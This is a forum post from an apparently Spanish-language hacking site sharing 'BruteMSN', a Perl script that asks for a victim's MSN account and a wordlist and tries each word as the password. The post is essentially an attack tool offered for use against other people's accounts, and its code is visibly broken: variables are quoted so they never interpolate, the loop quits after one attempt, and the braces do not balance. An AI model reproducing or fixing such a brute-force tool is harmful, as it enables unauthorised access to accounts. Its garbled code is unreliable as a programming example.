Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[PERL] BruteMSN

  • 0 Respuestas
  • 1250 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« en: Febrero 24, 2010, 04:33:56 pm »
Código: Perl
  1. #!/usr/bin/perl
  2. system ("clear");
  3. system ("cls");
  4. system ("color fc");
  5. # Re-c0de by m0x.lk
  6. # Edit : BruteMSN .- ~HaSe & RE.
  7. # Download Lib's.
  8. use lib qw(./MSN/lib);
  9. use MSN;
  10. use strict;
  11. use encoding "euc-jp";
  12. print "Re-C0de by m0x.lk\n";
  13. print "\n";
  14. print "BruteMSN .- ~HaSe & RE.\n";
  15. print "\n";
  16. print "Victima: ";
  17. $victima=<STDIN>;
  18. print "\n\n";
  19. print "\n";
  20. print "Diccionario: ";
  21. $dict=<STDIN>;
  22. print "\n\n";
  23. open (D,"<$dict") or die "Diccionario no encontrado\n";
  24. while(<D>)
  25. {
  26. $try = $_;
  27.     chomp $try;
  28. my $msn = MSN->new(Handle => '$victima',
  29.                    Password => '$try');
  30.     $counter++;
  31.     $tiempo++;
  32.     {
  33.    print "$victima / $try \n";
  34.    last;
  35.     }
  36.     if($counter==$fallos)
  37.     {
  38. }
  39. close(D);
  40. print "\n\n";
  41. print "$tiempo Obtener pass";
  42. print "\n\n";
  43. print "c0dex by m0x.lk";
« Última modificación: Marzo 14, 2015, 09:46:27 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3469
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1721
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1423
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
Funciones más utilizadas en la programación de un perl script

Iniciado por Dragora

Respuestas: 0
Vistas: 793
Último mensaje Enero 06, 2019, 01:01:06 am
por Dragora
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1814
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d